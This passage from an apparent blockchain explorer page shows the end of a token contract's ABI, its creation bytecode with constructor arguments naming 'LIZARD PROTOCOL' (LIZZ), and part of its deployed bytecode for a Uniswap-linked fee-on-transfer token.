payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040819052600580546001600160a01b03191661dead1790555f600c819055600d819055600e819055600f8190556010819055600160118190556012829055601382905560148290556015819055601682905560178190556018829055601955601f8190556021805460ff60a01b1916600160a01b179055602355602580546201000160a81b62ffffff60a81b1990911617905562002d5838819003908190833981016040819052620000b4916200069b565b5f859050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000f5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200011b91906200077e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000167573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200018d91906200077e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001d8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fe91906200077e565b602580546001600160a01b0319166001600160a01b039290921691909117905560016200022c8b826200082d565b5060026200023b8a826200082d565b506003805460ff8a1660ff1990911681179091555f80546001600160a01b0388166001600160a01b031991821681179092556021805490911690911790556200028690600a62000a02565b62000292908862000a12565b601c55600354620002a89060ff16600a62000a02565b620002b4908862000a12565b601d55600354620002ca9060ff16600a62000a02565b620002d6908862000a12565b601e55600354620002ec9060ff16600a62000a02565b620002f8908862000a12565b601b556003546200030e9060ff16600a62000a02565b6200031b90600162000a12565b601f5560038054610100600160a81b0319166101006001600160a01b038781169190910291909117909155600480546001600160a01b031916918516919091179055600e54600d54600c546200037f929162000378919062000553565b9062000553565b6018556012546011546010546200039d929162000378919062000553565b601955601654601554601454620003bb929162000378919062000553565b601755602480546001600160a01b038084166001600160a01b03199092168217909255601c8054305f818152600760209081526040808320968352958152858220939093558a861680825260088452858220805460ff1990811660019081179092558484528784208054821683179055828452600986528784208054821683179055602580548a16855288852080548316841790558585528885208054831684179055600580548b1686528986208054841685179055848652600a88528986208054841685179055548a16855288852080548316841790559484528784208054821683179055935488168352600b855286832080549094161790925592549083526006909152828220559051918416913480156108fc0292909190818181858888f19350505050158015620004f2573d5f803e3d5ffd5b50846001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601c546040516200053b91815260200190565b60405180910390a35050505050505050505062000a42565b5f8062000561838562000a2c565b905083811015620005b85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112620005e5575f80fd5b81516001600160401b0380821115620006025762000602620005c1565b604051601f8301601f19908116603f011681019082821181831017156200062d576200062d620005c1565b8160405283815260209250868385880101111562000649575f80fd5b5f91505b838210156200066c57858201830151818301840152908201906200064d565b5f93810190920192909252949350505050565b80516001600160a01b038116811462000696575f80fd5b919050565b5f805f805f805f805f6101208a8c031215620006b5575f80fd5b89516001600160401b0380821115620006cc575f80fd5b620006da8d838e01620005d5565b9a5060208c0151915080821115620006f0575f80fd5b50620006ff8c828d01620005d5565b98505060408a015160ff8116811462000716575f80fd5b60608b015190975095506200072e60808b016200067f565b94506200073e60a08b016200067f565b93506200074e60c08b016200067f565b92506200075e60e08b016200067f565b91506200076f6101008b016200067f565b90509295985092959850929598565b5f602082840312156200078f575f80fd5b6200079a826200067f565b9392505050565b600181811c90821680620007b657607f821691505b602082108103620007d557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000828575f81815260208120601f850160051c81016020861015620008035750805b601f850160051c820191505b8181101562000824578281556001016200080f565b5050505b505050565b81516001600160401b03811115620008495762000849620005c1565b62000861816200085a8454620007a1565b84620007db565b602080601f83116001811462000897575f84156200087f5750858301515b5f19600386901b1c1916600185901b17855562000824565b5f85815260208120601f198616915b82811015620008c757888601518255948401946001909101908401620008a6565b5085821015620008e557878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200094957815f19048211156200092d576200092d620008f5565b808516156200093b57918102915b93841c93908002906200090e565b509250929050565b5f826200096157506001620005bb565b816200096f57505f620005bb565b81600181146200098857600281146200099357620009b3565b6001915050620005bb565b60ff841115620009a757620009a7620008f5565b50506001821b620005bb565b5060208310610133831016604e8410600b8410161715620009d8575081810a620005bb565b620009e4838362000909565b805f1904821115620009fa57620009fa620008f5565b029392505050565b5f6200079a60ff84168362000951565b8082028115828204841417620005bb57620005bb620008f5565b80820180821115620005bb57620005bb620008f5565b6123088062000a505f395ff3fe608060405260043610610374575f3560e01c806388790a68116101c8578063c5d24189116100fd578063dc44b6a01161009d578063f2fde38b1161006d578063f2fde38b146109b7578063f872858a146109d6578063f88de0c3146109f6578063fb1eb14b14610a14575f80fd5b8063dc44b6a014610934578063dd62ed3e14610949578063e32759cf1461098d578063f0cd1dac146109a2575f80fd5b8063c867d60b116100d8578063c867d60b146108ad578063cab03471146108db578063d158272d146108f0578063da00097d14610914575f80fd5b8063c5d2418914610864578063c816841b14610879578063c860795214610898575f80fd5b8063a457c2d711610168578063a9059cbb11610143578063a9059cbb146107f3578063b2bdfa7b14610812578063c469b6dd14610830578063c49b9a8014610845575f80fd5b8063a457c2d7146107a0578063a5d69d1f146107bf578063a83f53a7146107de575f80fd5b806395d89b41116101a357806395d89b411461074e578063993945ac14610762578063a073d37f14610777578063a08e671f1461078b575f80fd5b806388790a68146106ef5780638b42507f146107045780638da5cb5b14610732575f80fd5b80633df4ddf4116102a957806361a23c6911610249578063807c2d9c11610219578063807c2d9c1461068757806382eefb431461069c578063844d591c146106b1578063865541e7146106d0575f80fd5b806361a23c69146106155780636e4ee8111461062a57806370a082311461063e5780637d1db4a514610672575f80fd5b80634a74bb02116102845780634a74bb02146105a05780635342acb4146105c0578063557ed1ba146105ee57806357a5802f14610600575f80fd5b80633df4ddf4146105485780633ecad2711461055d57806341c0e1b51461058b575f80fd5b806327c8f83511610314578063313ce567116102ef578063313ce567146104d457806337e5ccf7146104f5578063395093511461050a5780633b97084a14610529575f80fd5b806327c8f8351461048c578063297ac6de146104ab5780632b112e49146104c0575f80fd5b80631694505e1161034f5780631694505e1461040f57806318160ddd1461042e5780631870517a1461044c57806323b872dd1461046d575f80fd5b806306fdde031461037f578063095ea7b3146103a95780631245e347146103d8575f80fd5b3661037b57005b5f80fd5b34801561038a575f80fd5b50610393610a29565b6040516103a09190611ebd565b60405180910390f35b3480156103b4575f80fd5b506103c86103c3366004611f1f565b610ab9565b60405190151581526020016103a0565b3480156103e3575f80fd5b506004546103f7906001600160a01b031681565b6040516001600160a01b0390911681526020016103a0565b34801561041a575f80fd5b506024546103f7906001600160a01b031681565b348015610439575f80fd5b50601c545b6040519081526020016103a0565b348015610457575f80fd5b5061046b610466366004611f49565b610acf565b005b348015610478575f80fd5b506103c8610487366004611f72565b610b31565b348015610497575f80fd5b506005546103f7906001600160a01b031681565b3480156104b6575f80fd5b5061043e60135481565b3480156104cb575f80fd5b5061043e610b9a565b3480156104df575f80fd5b5060035460405160ff90911681526020016103a0565b348015610500575f80fd5b5061043e600f5481565b348015610515575f80fd5b506103c8610524366004611f1f565b610bc5565b348015610534575f80fd5b5061046b610543366004611fb0565b610bfa565b348015610553575f80fd5b5061043e60225481565b348015610568575f80fd5b506103c8610577366004611fc7565b600b6020525f908152604090205460ff1681565b348015610596575f80fd5b5061043e60235481565b3480156105ab575f80fd5b506025546103c890600160a81b900460ff1681565b3480156105cb575f80fd5b506103c86105da366004611fc7565b60086020525f908152604090205460ff1681565b3480156105f9575f80fd5b504261043e565b34801561060b575f80fd5b5061043e60145481565b348015610620575f80fd5b5061043e60155481565b348015610635575f80fd5b5061046b610c28565b348015610649575f80fd5b5061043e610658366004611fc7565b6001600160a01b03165f9081526006602052604090205490565b34801561067d575f80fd5b5061043e601d5481565b348015610692575f80fd5b5061043e601e5481565b3480156106a7575f80fd5b5061043e60195481565b3480156106bc575f80fd5b5061046b6106cb366004611ff6565b610c99565b3480156106db575f80fd5b5061046b6106ea366004611fb0565b610cec565b3480156106fa575f80fd5b5061043e60105481565b34801561070f575f80fd5b506103c861071e366004611fc7565b600a6020525f908152604090205460ff1681565b34801561073d575f80fd5b505f546001600160a01b03166103f7565b348015610759575f80fd5b50610393610d3a565b34801561076d575f80fd5b5061043e601b5481565b348015610782575f80fd5b50601f5461043e565b348015610796575f80fd5b5061043e60175481565b3480156107ab575f80fd5b506103c86107ba366004611f1f565b610d49565b3480156107ca575f80fd5b5061046b6107d9366004612029565b610d96565b3480156107e9575f80fd5b5061043e60165481565b3480156107fe575f80fd5b506103c861080d366004611f1f565b610ddd565b34801561081d575f80fd5b505f546103f7906001600160a01b031681565b34801561083b575f80fd5b5061043e600e5481565b348015610850575f80fd5b5061046b61085f366004612029565b610de9565b34801561086f575f80fd5b5061043e600d5481565b348015610884575f80fd5b506025546103f7906001600160a01b031681565b3480156108a3575f80fd5b5061043e60115481565b3480156108b8575f80fd5b506103c86108c7366004611fc7565b60096020525f908152604090205460ff1681565b3480156108e6575f80fd5b5061043e60125481565b3480156108fb575f80fd5b506003546103f79061010090046001600160a01b031681565b34801561091f575f80fd5b506025546103c890600160b01b900460ff1681565b34801561093f575f80fd5b5061043e600c5481565b348015610954575f80fd5b5061043e610963366004612042565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b348015610998575f80fd5b5061043e60205481565b3480156109ad575f80fd5b5061043e60185481565b3480156109c2575f80fd5b5061046b6109d1366004611fc7565b610e6a565b3480156109e1575f80fd5b506025546103c890600160b81b900460ff1681565b348015610a01575f80fd5b5061046b6021805460ff60a01b19169055565b348015610a1f575f80fd5b5061043e601a5481565b606060018054610a3890612079565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6490612079565b8015610aaf5780601f10610a8657610100808354040283529160200191610aaf565b820191905f5260205f20905b815481529060010190602001808311610a9257829003601f168201915b5050505050905090565b5f610ac5338484610f51565b5060015b92915050565b5f546001600160a01b03163314610b015760405162461bcd60e51b8152600401610af8906120b1565b60405180910390fd5b600c839055600d829055600e819055600f54610b2990610b2383818787611074565b90611074565b601855505050565b5f610b3d8484846110d2565b50610b8f8433610b8a85604051806060016040528060288152602001612266602891396001600160a01b038a165f9081526007602090815260408083203384529091529020549190611568565b610f51565b5060015b9392505050565b6005546001600160a01b03165f90815260066020526040812054601c54610bc0916115a0565b905090565b335f8181526007602090815260408083206001600160a01b03871684529091528120549091610ac5918590610b8a9086611074565b5f546001600160a01b03163314610c235760405162461bcd60e51b8152600401610af8906120b1565b601f55565b5f546001600160a01b03163314610c515760405162461bcd60e51b8152600401610af8906120b1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610cc25760405162461bcd60e51b8152600401610af8906120b1565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610d155760405162461bcd60e51b8152600401610af8906120b1565b600f819055600e54600d54600c54610d34928492610b23928391611074565b60185550565b606060028054610a3890612079565b5f610ac53384610b8a856040518060600160405280602581526020016122ae60259139335f9081526007602090815260408083206001600160a01b038d1684529091529020549190611568565b5f546001600160a01b03163314610dbf5760405162461bcd60e51b8152600401610af8906120b1565b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f610b8f3384846110d2565b5f546001600160a01b03163314610e125760405162461bcd60e51b8152600401610af8906120b1565b60258054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610e5f90831515815260200190565b60405180910390a150565b5f546001600160a01b03163314610e935760405162461bcd60e51b8152600401610af8906120b1565b6001600160a01b038116610ef85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610af8565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610fb35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610af8565b6001600160a01b0382166110145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610af8565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8061108083856120fa565b905083811015610b935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610af8565b5f6001600160a01b0384166111375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610af8565b6001600160a01b0383166111995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610af8565b5f82116111fa5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610af8565b6025546001600160a01b03848116911614801561122e57506025546001600160a01b03165f90815260066020526040902054155b1561123857436022555b6025546001600160a01b038581169116148015611263575060235460225461126091906120fa565b43105b15611287576021546112809085906001600160a01b0316846115e1565b9050610b93565b602554600160a01b900460ff16156112a4576112808484846115e1565b6001600160a01b0384165f908152600a602052604090205460ff161580156112e457506001600160a01b0383165f908152600a602052604090205460ff16155b1561134c57601d5482111561134c5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610af8565b305f90815260066020526040902054601f54811080159081906113795750602554600160a01b900460ff16155b801561139d57506001600160a01b0386165f908152600b602052604090205460ff16155b80156113b25750602554600160a81b900460ff165b156113d857602554600160b01b900460ff16156113cf57601f5491505b6113d8826116b1565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f90815260069091529190912054611429918690611568565b6001600160a01b0387165f90815260066020908152604080832093909355600890529081205460ff168061147457506001600160a01b0386165f9081526008602052604090205460ff165b611488576114838787876117e4565b61148a565b845b602554909150600160b81b900460ff1680156114be57506001600160a01b0386165f9081526009602052604090205460ff16155b156114f257601e546114e882610b23896001600160a01b03165f9081526006602052604090205490565b11156114f2575f80fd5b6001600160a01b0386165f908152600660205260409020546115149082611074565b6001600160a01b038088165f8181526006602052604090819020939093559151908916905f8051602061228e833981519152906115549085815260200190565b60405180910390a360019350505050610b93565b5f818484111561158b5760405162461bcd60e51b8152600401610af89190611ebd565b505f611597848661210d565b95945050505050565b5f610b9383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611568565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600690915291822054611631918490611568565b6001600160a01b038086165f90815260066020526040808220939093559085168152205461165f9083611074565b6001600160a01b038085165f8181526006602052604090819020939093559151908616905f8051602061228e8339815191529061169f9086815260200190565b60405180910390a35060019392505050565b6025805460ff60a01b1916600160a01b1790556017546014545f916116e6916002916116e09182908790611ace565b90611b4c565b90505f6116f383836115a0565b90506116fe81611b8d565b60145447905f9061171d90611714906002611b4c565b601754906115a0565b90505f61173e60026116e0846116e060145488611ace90919063ffffffff16565b90505f61175a836116e060165487611ace90919063ffffffff16565b90505f6117718261176b87866115a0565b906115a0565b90508015611794576003546117949061010090046001600160a01b031682611d16565b81156117b0576004546117b0906001600160a01b031683611d16565b5f831180156117be57505f87115b156117cd576117cd8784611d4e565b50506025805460ff60a01b19169055505050505050565b6001600160a01b0383165f908152600b602052604081205481908190819060ff16156118765761183060646116e0611829600f546018546115a090919063ffffffff16565b8890611ace565b92505f600f541180156118465750601b54601a54105b156118715761186560646116e0600f5488611ace90919063ffffffff16565b91506118718783611dfe565b61192b565b6001600160a01b0386165f908152600b602052604090205460ff161561192b57602154600160a01b900460ff1615156001036118d3576118cc6103e86116e06118296013546019546115a090919063ffffffff16565b92506118ec565b602154600160a01b900460ff1615155f036118ec578492505b5f6013541180156119005750601b54601a54105b1561192b5761191f60646116e060135488611ace90919063ffffffff16565b915061192b8783611dfe565b6001600160a01b0387165f908152600b602052604090205460ff168061196857506001600160a01b0386165f908152600b602052604090205460ff165b15611a465760205415611a46575f805b602054811015611a3357604080516020810183905290810188905242606082015260800160408051601f1981840301815291815281516020928301206001600160a01b0381165f90815260069093529120549092506119d8906001611074565b6001600160a01b038084165f8181526006602052604090819020939093559151908b16905f8051602061228e83398151915290611a19906001815260200190565b60405180910390a380611a2b81612120565b915050611978565b50602054611a42906001612138565b9150505b8215611aab57305f90815260066020526040902054611a659084611074565b305f81815260066020526040908190209290925590516001600160a01b038916905f8051602061228e83398151915290611aa29087815260200190565b60405180910390a35b611ac3611abc82610b238686611074565b86906115a0565b979650505050505050565b5f825f03611add57505f610ac9565b5f611ae88385612138565b905082611af5858361214f565b14610b935760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610af8565b5f610b9383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e91565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611bc057611bc061216e565b6001600160a01b03928316602091820292909201810191909152602454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611c17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c3b9190612182565b81600181518110611c4e57611c4e61216e565b6001600160a01b039283166020918202929092010152602454611c749130911684610f51565b60245460405163791ac94760e01b81526001600160a01b039091169063791ac94790611cac9085905f908690309042906004016121df565b5f604051808303815f87803b158015611cc3575f80fd5b505af1158015611cd5573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611d0a92919061221a565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015611d49573d5f803e3d5ffd5b505050565b602454611d669030906001600160a01b031684610f51565b6024805460215460405163f305d71960e01b81523060048201529283018590525f6044840181905260648401526001600160a01b0390811660848401524260a4840152169063f305d71990839060c40160606040518083038185885af1158015611dd2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611df7919061223a565b5050505050565b601b54601a5410611e0d575050565b6005546001600160a01b03165f90815260066020526040902054611e319082611074565b6005546001600160a01b03165f90815260066020526040902055601a54611e589082611074565b601a556005546040518281526001600160a01b03918216918416905f8051602061228e8339815191529060200160405180910390a35050565b5f8183611eb15760405162461bcd60e51b8152600401610af89190611ebd565b505f611597848661214f565b5f6020808352835180828501525f5b81811015611ee857858101830151858201604001528201611ecc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611f1c575f80fd5b50565b5f8060408385031215611f30575f80fd5b8235611f3b81611f08565b946020939093013593505050565b5f805f60608486031215611f5b575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611f84575f80fd5b8335611f8f81611f08565b92506020840135611f9f81611f08565b929592945050506040919091013590565b5f60208284031215611fc0575f80fd5b5035919050565b5f60208284031215611fd7575f80fd5b8135610b9381611f08565b80358015158114611ff1575f80fd5b919050565b5f8060408385031215612007575f80fd5b823561201281611f08565b915061202060208401611fe2565b90509250929050565b5f60208284031215612039575f80fd5b610b9382611fe2565b5f8060408385031215612053575f80fd5b823561205e81611f08565b9150602083013561206e81611f08565b809150509250929050565b600181811c9082168061208d57607f821691505b6020821081036120ab57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820180821115610ac957610ac96120e6565b81810381811115610ac957610ac96120e6565b5f60018201612131576121316120e6565b5060010190565b8082028115828204841417610ac957610ac96120e6565b5f8261216957634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215612192575f80fd5b8151610b9381611f08565b5f8151808452602080850194508084015f5b838110156121d45781516001600160a01b0316875295820195908201906001016121af565b509495945050505050565b85815284602082015260a060408201525f6121fd60a083018661219d565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f612232604083018461219d565b949350505050565b5f805f6060848603121561224c575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fe36f29bf7e5ae1787fb8f301908b5ee384f2ea63e844fa32227f27262f7558364736f6c63430008140033000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e000000000000000000000000c0356b207cc0ce13f023fe50540ef5c32903443e000000000000000000000000000000000000000000000000000000000000000f4c495a4152442050524f544f434f4c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c495a5a00000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405260043610610374575f3560e01c806388790a68116101c8578063c5d24189116100fd578063dc44b6a01161009d578063f2fde38b1161006d578063f2fde38b146109b7578063f872858a146109d6578063f88de0c3146109f6578063fb1eb14b14610a14575f80fd5b8063dc44b6a014610934578063dd62ed3e14610949578063e32759cf1461098d578063f0cd1dac146109a2575f80fd5b8063c867d60b116100d8578063c867d60b146108ad578063cab03471146108db578063d158272d146108f0578063da00097d14610914575f80fd5b8063c5d2418914610864578063c816841b14610879578063c860795214610898575f80fd5b8063a457c2d711610168578063a9059cbb11610143578063a9059cbb146107f3578063b2bdfa7b14610812578063c469b6dd14610830578063c49b9a8014610845575f80fd5b8063a457c2d7146107a0578063a5d69d1f146107bf578063a83f53a7146107de575f80fd5b806395d89b41116101a357806395d89b411461074e578063993945ac14610762578063a073d37f14610777578063a08e671f1461078b575f80fd5b806388790a68146106ef5780638b42507f146107045780638da5cb5b14610732575f80fd5b80633df4ddf4116102a957806361a23c6911610249578063807c2d9c11610219578063807c2d9c1461068757806382eefb431461069c578063844d591c146106b1578063865541e7146106d0575f80fd5b806361a23c69146106155780636e4ee8111461062a57806370a082311461063e5780637d1db4a514610672575f80fd5b80634a74bb02116102845780634a74bb02146105a05780635342acb4146105c0578063557ed1ba146105ee57806357a5802f14610600575f80fd5b80633df4ddf4146105485780633ecad2711461055d57806341c0e1b51461058b575f80fd5b806327c8f83511610314578063313ce567116102ef578063313ce567146104d457806337e5ccf7146104f5578063395093511461050a5780633b97084a14610529575f80fd5b806327c8f8351461048c578063297ac6de146104ab5780632b112e49146104c0575f80fd5b80631694505e1161034f5780631694505e1461040f57806318160ddd1461042e5780631870517a1461044c57806323b872dd1461046d575f80fd5b806306fdde031461037f578063095ea7b3146103a95780631245e347146103d8575f80fd5b3661037b57005b5f80fd5b34801561038a575f80fd5b50610393610a29565b6040516103a09190611ebd565b60405180910390f35b3480156103b4575f80fd5b506103c86103c3366004611f1f565b610ab9565b60405190151581526020016103a0565b3480156103e3575f80fd5b506004546103f7906001600160a01b031681565b6040516001600160a01b0390911681526020016103a0565b34801561041a575f80fd5b506024546103f7906001600160a01b031681565b348015610439575f80fd5b50601c545b6040519081526020016103a0565b348015610457575f80fd5b5061046b610466366004611f49565b610acf565b005b348015610478575f80fd5b506103c8610487366004611f72565b610b31565b348015610497575f80fd5b506005546103f7906001600160a01b031681565b3480156104b6575f80fd5b5061043e60135481565b3480156104cb575f80fd5b5061043e610b9a565b3480156104df575f80fd5b5060035460405160ff90911681526020016103a0565b348015610500575f80fd5b5061043e600f5481565b348015610515575f80fd5b506103c8610524366004611f1f565b610bc5565b348015610534575f80fd5b5061046b610543366004611fb0565b610bfa565b348015610553575f80fd5b5061043e60225481565b348015610568575f80fd5b506103c8610577366004611fc7565b600b6020525f908152604090205460ff1681565b348015610596575f80fd5b5061043e60235481565b3480156105ab575f80fd5b506025546103c890600160a81b900460ff1681565b3480156105cb575f80fd5b506103c86105da366004611fc7565b60086020525f908152604090205460ff1681565b3480156105f9575f80fd5b504261043e565b34801561060b575f80fd5b5061043e60145481565b348015610620575f80fd5b5061043e60155481565b348015610635575f80fd5b5061046b610c28565b348015610649575f80fd5b5061043e610658366004611fc7565b6001600160a01b03165f9081526006602052604090205490565b34801561067d575f80fd5b5061043e601d5481565b348015610692575f80fd5b5061043e601e5481565b3480156106a7575f80fd5b5061043e60195481565b3480156106bc575f80fd5b5061046b6106cb366004611ff6565b610c99565b3480156106db575f80fd5b5061046b6106ea366004611fb0565b610cec565b3480156106fa575f80fd5b5061043e60105481565b34801561070f575f80fd5b506103c861071e366004611fc7565b600a6020525f908152604090205460ff1681565b34801561073d575f80fd5b505f546001600160a01b03166103f7565b348015610759575f80fd5b50610393610d3a565b34801561076d575f80fd5b5061043e601b5481565b348015610782575f80fd5b50601f5461043e565b348015610796575f80fd5b5061043e60175481565b3480156107ab575f80fd5b506103c86107ba366004611f1f565b610d49565b3480156107ca575f80fd5b5061046b6107d9366004612029565b610d96565b3480156107e9575f80fd5b5061043e60165481565b3480156107fe575f80fd5b506103c861080d366004611f1f565b610ddd565b34801561081d575f80fd5b505f546103f7906001600160a01b031681565b34801561083b575f80fd5b5061043e600e5481565b348015610850575f80fd5b5061046b61085f366004612029565b610de9565b34801561086f575f80fd5b5061043e600d5481565b348015610884575f80fd5b506025546103f7906001600160a01b031681565b3480156108a3575f80fd5b5061043e60115481565b3480156108b8575f80fd5b506103c86108c7366004611fc7565b60096020525f908152604090205460ff1681565b3480156108e6575f80fd5b5061043e60125481565b3480156108fb575f80fd5b506003546103f79061010090046001600160a01b031681565b34801561091f575f80fd5b506025546103c890600160b01b900460ff1681565b34801561093f575f80fd5b5061043e600c5481565b348015610954575f80fd5b5061043e610963366004612042565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b348015610998575f80fd5b5061043e60205481565b3480156109ad575f80fd5b5061043e60185481565b3480156109c2575f80fd5b5061046b6109d1366004611fc7565b610e6a565b3480156109e1575f80fd5b506025546103c890600160b81b900460ff1681565b348015610a01575f80fd5b5061046b6021805460ff60a01b19169055565b348015610a1f575f80fd5b5061043e601a5481565b606060018054610a3890612079565b80601f0160208091040260200160405190810160405280929190818152602001828054610a6490612079565b8015610aaf5780601f10610a8657610100808354040283529160200191610aaf565b820191905f5260205f20905b815481529060010190602001808311610a9257829003601f168201915b5050505050905090565b5f610ac5338484610f51565b5060015b92915050565b5f546001600160a01b03163314610b015760405162461bcd60e51b8152600401610af8906120b1565b60405180910390fd5b600c839055600d829055600e819055600f54610b2990610b2383818787611074565b90611074565b601855505050565b5f610b3d8484846110d2565b50610b8f8433610b8a85604051806060016040528060288152602001612266602891396001600160a01b038a165f9081526007602090815260408083203384529091529020549190611568565b610f51565b5060015b9392505050565b6005546001600160a01b03165f90815260066020526040812054601c54610bc0916115a0565b905090565b335f8181526007602090815260408083206001600160a01b03871684529091528120549091610ac5918590610b8a9086611074565b5f546001600160a01b03163314610c235760405162461bcd60e51b8152600401610af8906120b1565b601f55565b5f546001600160a01b03163314610c515760405162461bcd60e51b8152600401610af8906120b1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610cc25760405162461bcd60e51b8152600401610af8906120b1565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610d155760405162461bcd60e51b8152600401610af8906120b1565b600f819055600e54600d54600c54610d34928492610b23928391611074565b60185550565b606060028054610a3890612079565b5f610ac53384610b8a856040518060600160405280602581526020016122ae60259139335f9081526007602090815260408083206001600160a01b038d1684529091529020549190611568565b5f546001600160a01b03163314610dbf5760405162461bcd60e51b8152600401610af8906120b1565b60258054911515600160b01b0260ff60b01b19909216919091179055565b5f610b8f3384846110d2565b5f546001600160a01b03163314610e125760405162461bcd60e51b8152600401610af8906120b1565b60258054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4